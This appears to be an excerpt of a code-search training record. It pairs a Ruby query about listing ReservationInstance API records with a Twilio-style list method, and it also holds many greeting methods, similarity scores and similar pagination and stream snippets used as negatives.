"def greeting(name)\n puts \"Good day \"+name.capitalize\nend",
"def greeting(name=\"rubyist\")\n \"Welcome, #{name}! Ready to code?\"\nend",
"def welcome (name)\n\tputs \"Hello #{name}!\"\nend",
"def greeting(name)\n \"Hello #{name}!\"\nend",
"def greeting(name)\n \"Hello #{name}!\"\nend",
"def greet (name)\n\treturn \"Hello, #{name}\"\nend",
"def greeting \n puts \"Hello World\"\nend",
"def greeting\n puts 'Greetings, honorable gentleman.'\nend",
"def greet(first_name, last_name)\n p \"Hey \" + first_name + \", your last name is \" + last_name\nend",
"def greet(first_name, last_name)\n p \"Hey \" + first_name + \", your last name is \" + last_name\nend",
"def say_hello(name)\n puts \"Hello #{name}!\"\nend",
"def welcome(greeting)\n puts \"Welcome to Ruby!\"\n \nend",
"def greeter (name)\n return \"Hello #{name}\"\n end",
"def greeting\n puts \"Hello World\"\nend",
"def greeting\r\n name = \"Bob\"\r\n puts \"hello, #{name}!\"\r\nend",
"def greeting(name)\n \"Good Morning #{name}!\"\nend",
"def greet(first_name, last_name)\n p \"Hey \" + first_name + \", your last name is \" + last_name\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting\n puts 'Hello!'\nend",
"def greeting(name)\n \"Hello, \" + name + \". How are you doing?\"\nend",
"def say_hello(name)\n \"Hello, #{name}.\"\n end",
"def greet(first_name, last_name)\n p 'Hey ' + first_name + ', your last name is ' + last_name\nend",
"def greeting\n puts \"Hello!\"\nend",
"def greeting\n puts \"Hello!\"\nend",
"def greeting(name)\n \"Hello,\" + name + \". How are you doing?\"\nend",
"def greet person\n puts \"Hello, #{person}!\"\nend",
"def greeting\n puts \"hello\"\nend",
"def hello(name)\n puts \"Hello, \" + name + \"!\"\nend",
"def hello_house\n\t\tputs 'Hello from #{@name}.'\n\tend",
"def greeting\n\t\t#make a greeting for both student and teacher\n\t\tputs \"Hi, my name is #{@name}!\"\n\tend",
"def hello(name, age)\n\tputs \"Welcome #{name}, #{age} is definitely not too old to learn how to code\" \nend",
"def greeting(name)\n \"Hi my name is #{name}, nice to meet you!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def greet(who)\n\t\"Hello, #{who}!\"\nend",
"def hello(name)\n puts \"Hello, #{name}!\"\nend",
"def hello(name)\n\tputs \"Hello \" + name\nend",
"def greeting(name)\n \"Good to see you #{name}\"\nend",
"def greet(first, last)\n p \"Hi, \" + last + \", \" + first\nend",
"def welcome(name=\"World\")\n\tputs \"Hello #{name}!\"\nend",
"def greeting(name='Seth')\r\n\tputs 'hello '+name\r\nend",
"def greet (name)\n \"Hello, #{name}!\"\nend",
"def hello (name)\n\tputs \"Hi \" + name\nend",
"def greeting(name)\n \"Hello \" + name.capitalize + \"!\"\nend",
"def greeting\n\tputs \"Please enter your name:\"\n\tname = gets.chomp\n\tputs \"Hello\" + \" \" + name\nend",
"def greet person\n\t'Hello, ' + person + '!'\nend"
] |
[
"0.85417664",
"0.83980525",
"0.83280915",
"0.83228564",
"0.8301846",
"0.8301846",
"0.82970876",
"0.8276872",
"0.8154406",
"0.80973935",
"0.8090549",
"0.8077661",
"0.80389327",
"0.8037178",
"0.8010585",
"0.7981332",
"0.7980237",
"0.7979566",
"0.7968205",
"0.79409516",
"0.79409516",
"0.7925908",
"0.7886247",
"0.78575164",
"0.7836258",
"0.7819912",
"0.7733181",
"0.77157557",
"0.7703625",
"0.7693717",
"0.7686362",
"0.7682839",
"0.7671786",
"0.76683307",
"0.765895",
"0.7646609",
"0.7626475",
"0.76196456",
"0.76186776",
"0.75948215",
"0.75948215",
"0.75783634",
"0.75725967",
"0.7569737",
"0.75672185",
"0.75650126",
"0.75460553",
"0.7545573",
"0.7533376",
"0.75278217",
"0.75190926",
"0.75169104",
"0.7498279",
"0.74868315",
"0.7480151",
"0.7480151",
"0.7461208",
"0.7459777",
"0.7457912",
"0.744895",
"0.744895",
"0.7448795",
"0.7447446",
"0.7435408",
"0.74347126",
"0.7430207",
"0.74137473",
"0.7411287",
"0.7407187",
"0.7407187",
"0.7407187",
"0.7407187",
"0.7407187",
"0.74058586",
"0.7400518",
"0.73971486",
"0.73903507",
"0.73903507",
"0.7390182",
"0.73885417",
"0.7386073",
"0.73857915",
"0.73578316",
"0.73577905",
"0.7357659",
"0.7327648",
"0.73240215",
"0.73240215",
"0.73240215",
"0.73237103",
"0.7318821",
"0.7317205",
"0.73121274",
"0.730817",
"0.7306037",
"0.730158",
"0.7295365",
"0.729431",
"0.7286801",
"0.7281685"
] |
0.8227649
|
8
|
Lists ReservationInstance records from the API as a list. Unlike stream(), this operation is eager and will load `limit` records into memory before returning.
|
def list(reservation_status: :unset, limit: nil, page_size: nil)
self.stream(
reservation_status: reservation_status,
limit: limit,
page_size: page_size
).entries
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list(limit: nil, page_size: nil)\n self.stream(limit: limit, page_size: page_size).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(limit: limit, page_size: page_size).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(limit: limit, page_size: page_size).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(limit: nil, page_size: nil)\n self.stream(\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(authorization: :unset, segment_id: :unset, reservation_id: :unset, limit: nil, page_size: nil)\n self.stream(\n authorization: authorization,\n segment_id: segment_id,\n reservation_id: reservation_id,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(resource_type,limit=0,params={})\n path = '/api/' + resource_type.to_s\n params.merge!({limit: limit.to_s})\n response = http_get(path,params)\n hydrate_list(resource_type, response['objects'])\n end",
"def list(friendly_name: :unset, limit: nil, page_size: nil)\n self.stream(\n friendly_name: friendly_name,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(friendly_name: :unset, limit: nil, page_size: nil)\n self.stream(\n friendly_name: friendly_name,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def list(resource,limit=0,params={})\n uri = '/api/' + resource.to_s\n params.merge!({limit: limit.to_s})\n http_get(uri,params)\n end",
"def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end",
"def stream(reservation_status: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n reservation_status: reservation_status,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def index\n scope = apply_scopes(Reservation)\n @reservations = scope.respond_to?(:to_a) ? scope.to_a : scope.all\n @reservations = @reservations.paginate(page: params['page'])\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
"def retrieve_plan_list\n options = { limit: 100 }\n options[:offset] = @offset if @offset.present?\n ChargeBee::Plan.list(options)\n end",
"def list(order: :unset, status: :unset, limit: nil, page_size: nil)\n self.stream(\n order: order,\n status: status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(order: :unset, status: :unset, limit: nil, page_size: nil)\n self.stream(\n order: order,\n status: status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def find_all(offset: 0, limit: 0)\n result = instance.all.to_a\n\n return result if offset == 0 && limit == 0\n return result.slice(offset, result.count) if limit == 0\n result[offset...limit]\n end",
"def list(status: :unset, date_created_after: :unset, date_created_before: :unset, room_sid: :unset, limit: nil, page_size: nil)\n self.stream(\n status: status,\n date_created_after: date_created_after,\n date_created_before: date_created_before,\n room_sid: room_sid,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list_inbound_routes(limit = nil,\r\n offset = nil)\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/v2/routes'\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'limit' => limit,\r\n 'offset' => offset\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 401\r\n raise APIException.new(\r\n 'Unauthorized',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise APIException.new(\r\n 'Not Found',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n \r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"def get_resource_reservation_list(opts = {})\n data, _status_code, _headers = get_resource_reservation_list_with_http_info(opts)\n data\n end",
"def list(limit = nil, cursor = nil)\n qs = {}\n qs[:limit] = limit if limit\n qs[:cursor] = cursor if cursor\n\n api.get('', qs)\n end",
"def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end",
"def playlists(limit: 20, offset: 0)\n url = \"users/#{@id}/playlists?limit=#{limit}&offset=#{offset}\"\n response = RSpotify.resolve_auth_request(@id, url)\n return response if RSpotify.raw_response\n response['items'].map { |i| Playlist.new i }\n end",
"def list(enabled: :unset, date_created_after: :unset, date_created_before: :unset, friendly_name: :unset, limit: nil, page_size: nil)\n self.stream(\n enabled: enabled,\n date_created_after: date_created_after,\n date_created_before: date_created_before,\n friendly_name: friendly_name,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def get_items(start=nil,limit=nil)\n LD4L::OreRDF::ProxyResource.get_range(self, start, limit)\n end",
"def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end",
"def stream(authorization: :unset, segment_id: :unset, reservation_id: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n authorization: authorization,\n segment_id: segment_id,\n reservation_id: reservation_id,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def list(authorization: :unset, include_inactive: :unset, limit: nil, page_size: nil)\n self.stream(\n authorization: authorization,\n include_inactive: include_inactive,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def index\n @reservations = Reservation.is_public.confirmed.order(updated_at: :desc).limit(500)\n end",
"def get_resource_reservation_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResourceApi.get_resource_reservation_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/resource/Reservations'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ResourceReservationResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"ResourceApi.get_resource_reservation_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResourceApi#get_resource_reservation_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list_instances token: nil\n instances.list_instances parent: project_path, page_token: token\n end",
"def list(status: :unset, unique_name: :unset, date_created_after: :unset, date_created_before: :unset, limit: nil, page_size: nil)\n self.stream(\n status: status,\n unique_name: unique_name,\n date_created_after: date_created_after,\n date_created_before: date_created_before,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def zone_list(limit = 100, offset = 0, name = nil, sub_id = nil, status = nil)\n send_req({\n act: :zone_list,\n offset: offset,\n zone_name: name,\n sub_id: sub_id,\n zone_status: status\n })\n end",
"def retrieve_records(limits)\n limit = (limits[:limit].presence || 10).to_i\n offset = limits[:offset].presence.to_i\n account_id = limits[:account_id]\n\n records = account_id.present? ? where(AccountId: account_id) : all\n\n records.offset(offset).limit(limit)\n end",
"def list(status: :unset, fleet: :unset, iccid: :unset, limit: nil, page_size: nil)\n self.stream(\n status: status,\n fleet: fleet,\n iccid: iccid,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def all(options={})\n offset = nil\n results = []\n begin\n options.merge!(:limit => LIMIT_MAX, :offset => offset)\n response = records(options)\n results += response.records\n offset = response.offset\n end until offset.nil? || offset.empty? || results.empty?\n results\n end",
"def list_instances token: nil\n execute do\n instances.list_instances(\n project_path,\n page_token: token\n )\n end\n end",
"def result_limit(offset, limit)\n proxy = APIParameterFilter.new(self)\n return proxy.result_limit(offset, limit)\n end",
"def list(options={})\n options = {\n :start => -1,\n :end => -1,\n :max => -1\n }.merge!(options)\n \n to_a(options[:start], options[:end], options[:max])\n end",
"def list(recurring: :unset, trigger_by: :unset, usage_category: :unset, limit: nil, page_size: nil)\n self.stream(\n recurring: recurring,\n trigger_by: trigger_by,\n usage_category: usage_category,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(page: 1, per_page: 50)\n params = {page: page, per_page: per_page}\n\n cf_get(path: \"/zones/#{zone_id}/rate_limits\", params: params)\n end",
"def index\n\n if request.format == Mime::XML\n limit=params[:limit].nil? ? 1000: params[:limit]\n else\n limit=params[:limit].nil? ? 50 : params[:limit]\n end\n\n @reservations = Reservation.paginate :page => params[:page] || 1, :per_page => limit, :conditions => [\"user_id = ? AND historical = ?\", session[:user_id], 0], :order => \"id\"\n\n respond_to do |format|\n format.xml { render :xml => @reservations }\n format.any { render :json => @reservations }\n end\n end",
"def reservation_search(limit, offset)\n repository.adapter.select(query_strategy.query_reservation_search(limit, offset))\n end",
"def all(offset = 0, limit = 0)\n @client.get(\"/#{@model}s\", {offset: offset, limit: limit})\n end",
"def existing_reservations\n start_dt = self.start_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n end_dt = self.end_dt.try(:to_datetime).try(:change, offset: \"+0000\")\n room_id = self.room.try(:id)\n results_size = (self.is_block?) ? 1000 : 1\n\n return [] if room_id.blank? || start_dt.blank? || end_dt.blank?\n block_query = [{ term: { is_block: false } }, { range: { end_dt: { gte: Time.zone.now.to_datetime.change(offset: \"+0000\") } } }]\n query =\n {\n query: {\n constant_score: {\n filter: {\n bool: {\n must: [\n { term: { room_id: room_id } },\n { term: { deleted: false }},\n { bool:\n {\n should: [\n {\n bool: {\n must: [\n { range: { start_dt: { gte: start_dt } } },\n { range: { start_dt: { lt: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { end_dt: { gt: start_dt } } },\n { range: { end_dt: { lte: end_dt } } }\n ]\n }\n },\n {\n bool: {\n must: [\n { range: { start_dt: { lte: start_dt } } },\n { range: { end_dt: { gte: end_dt } } }\n ]\n }\n }\n ]\n }\n }\n ]\n }\n }\n }\n },\n size: results_size\n }\n query[:query][:constant_score][:filter][:bool][:must] += block_query if self.is_block?\n return Reservation.search(query).results\n end",
"def entries(limit=nil)\n limit ||= -1\n LiveJournal::Request::GetEvents.new(@user, :recent => limit, :strict => false).run\n end",
"def index\n @listings = Listing.order('created_at DESC').limit(5)\n end",
"def take(limit=1)\n limit(limit).to_a\n end",
"def zlist(start, stop, opts = {})\n limit = opts[:limit] || -1\n mon_synchronize do\n perform [\"zlist\", start, stop, limit], multi: true\n end\n end",
"def get_entries(limit = nil)\n limit ||= -1\n prepare_entries(LiveJournal::Request::GetFriendsPage.new(@user, :recent => limit, :strict => false).run)\n rescue exception_block\n end",
"def archived_activities(skip = 0, limit = 100)\n ArchivedResidentActivity.where(:resident_id => id.to_s).order_by(:created_at => :desc).skip(skip).limit(limit).collect{|a| activities.new(a.to_attrs) } # DO NOT SAVE entry\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def list(muted: :unset, hold: :unset, limit: nil, page_size: nil)\n self.stream(muted: muted, hold: hold, limit: limit, page_size: page_size).entries\n end",
"def index\n @entries = @wall.entries.limit(15)\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def list(scope = list_query)\n model.all(scope)\n end",
"def slice_records!\n @number_of_records ||= @records.length\n\n @records = @records.slice(0, per_page) if @number_of_records > per_page\n end",
"def zlist(start, stop, opts = {})\n limit = opts[:limit] || -1\n mon_synchronize do\n perform [\"zlist\", start, stop, limit], :multi => true\n end\n end",
"def stream(friendly_name: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n friendly_name: friendly_name,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def stream(friendly_name: :unset, limit: nil, page_size: nil)\n limits = @version.read_limits(limit, page_size)\n\n page = self.page(\n friendly_name: friendly_name,\n page_size: limits[:page_size], )\n\n @version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def all\n PaginatedResource.new(self)\n end",
"def load_records\n native_instance(true)\n native_instance.top(limit) if limit.present?\n Array(service.native_instance.execute)\n end",
"def list_instances(request_id)\n instances = []\n JSON.parse(resource[\"/requests/#{request_id}\"].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n end",
"def list(pagination_options = {})\n page = pagination_options[:page]\n per_page = pagination_options[:per_page]\n validate_list_pagination!(page, per_page)\n qs = pagination_query_string(page: page, per_page: per_page)\n url = qs.length > 0 ? \"#{endpoint}?#{qs}\" : endpoint\n fix_list_response(@http.get(url))\n end",
"def index\n limit = params.fetch(:limit, 10).to_i\n @playings = Playing.order(:created_at).reverse_order.limit(limit)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @playings }\n end\n end",
"def describe_instances\n return { reservations: [] } unless configured?\n\n @client.describe_instances.to_h\n end",
"def index\n @reservations = Reservation.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Reservations\n end",
"def volumes_list(state = \"active\", limit = \"1000\")\n case state\n when \"active\"\n api_call = {\n :method => \"ListActiveVolumes\",\n :params => {\n :startVolumeID => 0,\n :limit => limit\n }\n }\n when \"deleted\"\n api_call = {\n :method => \"ListDeletedVolumes\",\n :params => {}\n }\n end\n answer = query_sf(api_call)\n return answer[\"volumes\"]\n end",
"def rate_limit\n response = self.class.get('/rate_limit', options)\n\n return_value_for response\n end",
"def fetch_held(min_id, per_page, options = {})\n options = {\n :limit => per_page,\n }.merge(options)\n video_ids = self.held_video_ids.rangebyscore(min_id || \"-INF\", \"INF\", options)\n video_ids.map {|id| Video.find_by_id(id) }\n end",
"def list(to: :unset, from: :unset, parent_call_sid: :unset, status: :unset, start_time_before: :unset, start_time: :unset, start_time_after: :unset, end_time_before: :unset, end_time: :unset, end_time_after: :unset, limit: nil, page_size: nil)\n self.stream(\n to: to,\n from: from,\n parent_call_sid: parent_call_sid,\n status: status,\n start_time_before: start_time_before,\n start_time: start_time,\n start_time_after: start_time_after,\n end_time_before: end_time_before,\n end_time: end_time,\n end_time_after: end_time_after,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list(mixins = nil)\n computes = ::Occi::Core::Resources.new\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n rsrvts = @ec2_client.describe_instances.reservations\n rsrvts.each do |reservation|\n next unless reservation && reservation.instances\n reservation.instances.each { |instance| computes << parse_backend_obj(instance, reservation[:reservation_id]) }\n end if rsrvts\n end\n\n computes\n end",
"def list(eid: :unset, sim_sid: :unset, status: :unset, limit: nil, page_size: nil)\n self.stream(\n eid: eid,\n sim_sid: sim_sid,\n status: status,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def get_all_objects(class_name, count)\n per_page = 1000\n objects = []\n times = [(count/per_page.to_f).ceil, 10].min\n 0.upto(times) do |offset|\n query = Parse::Query.new(class_name)\n query.limit = per_page\n query.skip = offset * per_page\n objects << query.get\n end\n objects.flatten(1)\n end",
"def get_items(start=nil,limit=nil)\n RDFTypes::VirtualCollectionItemRDF.get_range(self, start, limit)\n end"
] |
[
"0.65928",
"0.65928",
"0.65611684",
"0.64563847",
"0.64563847",
"0.64563847",
"0.64563847",
"0.64563847",
"0.64563847",
"0.6360206",
"0.61795986",
"0.59689677",
"0.59689677",
"0.58669424",
"0.57883817",
"0.57568574",
"0.5723503",
"0.5700078",
"0.56211066",
"0.56211066",
"0.56211066",
"0.56211066",
"0.56184494",
"0.55911493",
"0.55911493",
"0.53955376",
"0.5389134",
"0.5384481",
"0.5356952",
"0.5336955",
"0.532139",
"0.53169954",
"0.53108644",
"0.5290663",
"0.52894336",
"0.5265016",
"0.525964",
"0.5250883",
"0.5244342",
"0.5236179",
"0.52247965",
"0.5210842",
"0.52078784",
"0.52018285",
"0.51951337",
"0.51937985",
"0.5172311",
"0.5152867",
"0.5149205",
"0.51442313",
"0.5117381",
"0.51165533",
"0.5106854",
"0.50731546",
"0.5062444",
"0.50356513",
"0.50346655",
"0.5017567",
"0.5009853",
"0.49795467",
"0.4978513",
"0.4978513",
"0.49588653",
"0.49475807",
"0.4947441",
"0.4947441",
"0.4947441",
"0.4947441",
"0.4947441",
"0.4947441",
"0.49418136",
"0.49378523",
"0.49358502",
"0.49338195",
"0.4933304",
"0.4933304",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49219188",
"0.49190694",
"0.4916119",
"0.49143595",
"0.49087468",
"0.49068397",
"0.4899161",
"0.48801383",
"0.4869427",
"0.48614037",
"0.48526397",
"0.48469144",
"0.48365292",
"0.48273632",
"0.48262042"
] |
0.6616134
|
0
|
Streams Instance records from the API as an Enumerable. This operation lazily loads records as efficiently as possible until the limit is reached.
|
def stream(reservation_status: :unset, limit: nil, page_size: nil)
limits = @version.read_limits(limit, page_size)
page = self.page(
reservation_status: reservation_status,
page_size: limits[:page_size], )
@version.stream(page, limit: limits[:limit], page_limit: limits[:page_limit])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size],)\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
"def each\n limits = @version.read_limits\n\n page = self.page(page_size: limits[:page_size], )\n\n @version.stream(page,\n limit: limits[:limit],\n page_limit: limits[:page_limit]).each {|x| yield x}\n end",
